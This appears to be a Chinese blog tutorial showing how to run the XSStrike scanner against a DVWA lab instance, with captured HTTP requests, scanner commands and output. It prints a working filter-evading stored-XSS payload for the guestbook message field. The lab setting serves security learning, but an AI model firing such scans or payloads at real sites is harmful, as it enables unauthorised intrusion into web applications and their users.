XSS

XSStrike

XSS 检测工具 XSStrike

Posted by D on January 11, 2020

简介

XSStrike据说是一款比较好用的检查XSS漏洞的工具,能够bypass WAF, 检查 DOM XSS,当然 Reflected XSSStored XSS 也可以检测。

Github仓库以及使用方法: XSStrike XSStrike使用方法

使用

XSStrike可以使用 GET 方法,也可以使用 POST 方法,使用什么方法要看被检测的网站使用什么方法。 下面是以检测DVWA为例子

GET 方法

DVWA XSS(Reflected)

Burp截获的数据如下:

GET /dvwa/vulnerabilities/xss_r/?name=nihoao HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10/dvwa/vulnerabilities/xss_r/
Connection: close
Cookie: security=low; PHPSESSID=g9qm98qk1fi31golgpth3c3qqq
Upgrade-Insecure-Requests: 1

从截获的信息来看使用的 GET 参数只有一个 name 那么该如何使用 XSStrike 来帮忙自动检测呢? 如下:

终端输入

  • -u 后面跟URL
python3 xsstrike.py -u "http://192.168.1.10/dvwa/vulnerabilities/xss_r/?name=nihoao"

结果显示如下信息

	XSStrike v3.1.4

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: name 
[-] No reflection found 

我们可以得到的信息:

  1. WAF Status: Offline 是没有的或者是有也关闭了
  2. Testing parameter: name 参数只有一个name可以看到 XSStrike可以自动检测参数, 其实XSStrike还就是对这个输入参数进行赋值来进行检查的。只是这里没有显示出来。
  3. No reflection found 表示 XSStrike没检测到XSS漏洞.
POST 方法

DVWA XSS(Stored)

那么下面我们看一下 XSStrike 给参数赋值并且打印出来的例子:

Burp 截获的信息如下:

POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10/dvwa/vulnerabilities/xss_s/
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: close
Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0
Upgrade-Insecure-Requests: 1

txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook

从上面信息可以看到使用 POST 方法.

那么这次XSStrike 该如使用呢? 如下:

root@kali:~/XSStrike# python3 xsstrike.py -u "http://192.168.1.10/dvwa/vulnerabilities/xss_s/"  --header "Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0" --data "txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook"

这里相对于上面的 GET 方法增加了一些信息:

  • –header 头部信息 "Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0" (其实整个头部信息都可以放进去,我只是不想放那么多,less is better)
  • –data POST方法的body信息 "txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook"

检测过程输出信息如下:

	XSStrike v3.1.4

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: txtName 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
 ~] Progress: 3072/3072
[!] Testing parameter: mtxMessage 
[!] Reflections found: 1538 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 2238432 
------------------------------------------------------------
[+] Payload: <detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)// 
[!] Efficiency: 100 
[!] Confidence: 10 
[?] Would you like to continue scanning? [y/N] n

我们可以看到输入参数有两个,其实burp给出的信息data里面参数有3个但是, 第3个参数不是输入参数,因为大部分漏洞都是输入输出产生。这里的第3个参数btnSign就没什么用了.

这里产生了第一条 Payload (其实XSStrike已经插入了很多条记录到数据库,但是不知道为什么它才跳出来第一条payload)

<detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)//

然后 XSStrike 询问我们是否还要继续进行扫描,但是, 我这里就不再进行扫描了,所以选择了 n

我们只要对参数 mtxMessage 赋值:

<detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)//

就可以复现漏洞了。

: